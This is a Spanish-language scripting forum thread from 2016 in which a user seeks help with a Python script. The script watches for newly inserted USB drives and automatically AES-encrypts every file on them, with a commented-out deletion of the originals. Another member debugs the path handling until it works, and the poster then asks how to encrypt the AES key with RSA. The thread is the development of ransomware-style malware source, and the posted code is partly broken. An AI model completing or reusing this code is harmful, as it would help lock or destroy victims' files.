Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: geshiro en 7 Diciembre 2016, 07:43 AM

Título: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 07:43 AM
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?

Código (python) [Seleccionar]

Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
   encrypt_file(str(encrypt_files))
 File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"



Código (python) [Seleccionar]

from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto import Random
import string
import time
import os, sys




def get_drives():
   drives = []
   bitmask = windll.kernel32.GetLogicalDrives()
   for letter in string.uppercase:
       if bitmask & 1:
        drives.append(letter)
       bitmask >>= 1
   return drives


def encrypt(filename):
chunksize = 64 * 1024
outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
filesize = str(os.path.getsize(filename)).zfill(16)
IV = ''

for i in range(16):
IV += chr(random.randint(0, 0xFF))

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, "rb") as infile:
with open(outFile, "wb") as outfile:
outfile.write(filesize)
outfile.write(IV)

while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

elif len(chunk) % 16 !=0:
chunk += ' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def list_files(path):
   files = []
   for name in os.listdir(path):
       if os.path.isfile(os.path.join(path, name)):
           files.append(name)
   return files



if __name__ == '__main__':
print 'Searching usb...'
while True:
before = set(get_drives())
time.sleep(5)
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
encrypt_files = list_files(newly_mounted)
print "letter: "+newly_mounted
print "fueron montados  %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
for x in encrypt_files:
if os.path.basename(x).startswith("(encrypted)"):
print "%s is already encrypted" %str(x)
pass

else:
encrypt_file(str(encrypt_files))
print "encryptacion terminada %s" %str(x)
"""os.remove(x) """
else:
print "no hay ningun usb"



Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 13:48 PM
Según veo en tu código, en la linea 80 a encrypt_file le estás pasando una lista de archivos y creo que la función espera un string con el nombre del archivo.

Lo anterior es si encrypt_file es el encrypt de la linea 22 (Aunque no es el mismo nombre de función)

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 18:14 PM
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 18:28 PM
Cita de: geshiro en  7 Diciembre 2016, 18:14 PM
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien

En el bucle estás usando x para iterar por la lista. Deberías pasarle dicha variable a encrypt_file() en vez de la lista completa... no?

Saludos!

EDIT: Si debugeas el código, se te hará más snecillo corregir los errores que tenga.
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 18:37 PM
Le estoy pasando dicha variable
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 19:07 PM
Cita de: geshiro en  7 Diciembre 2016, 18:37 PM
Le estoy pasando dicha variable

Mira la línea 80 del código que has posteado. Ahí es donde debes usar pasarle x a encrypt_file(). Incluso el str() estaría demás.

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 20:46 PM
si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro  incluso usando
Código (python) [Seleccionar]
encrypt_file(x)

Código (python) [Seleccionar]
Searching usb...
letter: F:\
There were 1 drives added: set(['F']). Newly mounted drive letter is F:\

Traceback (most recent call last):
 File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module>
   encrypt_file(x)
 File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file
   filesize = str(os.path.getsize(filename)).zfill(16)
 File "C:\Python27\lib\genericpath.py", line 57, in getsize
   return os.stat(filename).st_size
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 7 Diciembre 2016, 23:03 PM
Claro, porque x sólo contiene el nombre. Deberías armar el path completo al archivo para poder abrirlo.

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 7 Diciembre 2016, 23:46 PM
como pudiera armar bien el path para abrirlos

se suponia que en esta parte le daba la ruta  de los archivos


      
Código (python) [Seleccionar]
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:21 AM
Prueba reemplazar x con os.path.join(newly_mounted, x)

Ten en cuenta que sólo trabajará con los archivos que están en el root. Si hay carpetas y archivos dentro, vas a tener que devolver las carpetas también como path en la función list_files()

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 00:22 AM
espera como
Código (python) [Seleccionar]
for os.path.join(newly_mounted, x) in variable? encrypt_file(os.path.join(newly_mounted, x))
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:34 AM
En la linea 80, reemplaza:

Código (python) [Seleccionar]

encrypt_file(str(encrypt_files))


por

Código (python) [Seleccionar]

encrypt_file(os.path.join(newly_mounted, x))


Prueba con eso.

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 00:36 AM
otra duda si quiero modificar mi funcion en donde scaneo los archivos por sub folders por ejemplo todo el projecto codeigniter pero uso walk como hago para que no  demore mucho y lo haga rapido porque el script debe funcionar en cuanto detecte el usb boom
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: MCKSys Argentina en 8 Diciembre 2016, 00:40 AM
Ni idea. Vas a tener que revisar la doc de python y ver algunos ejemplos en Google para saber cuál es el método más rápido...  :P

Saludos!
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 02:03 AM
funciono solo que si quiero la llave de aes encriptarla con rsa en el mismo for lo abro el archvio .pem o como pudiera hacer algo similar a esto S
Código (python) [Seleccionar]
HA256.new(password).digest()
Título: Re: el script al momento de cifrar los archivos del usb truena python
Publicado por: geshiro en 8 Diciembre 2016, 22:29 PM
o no se puediera ?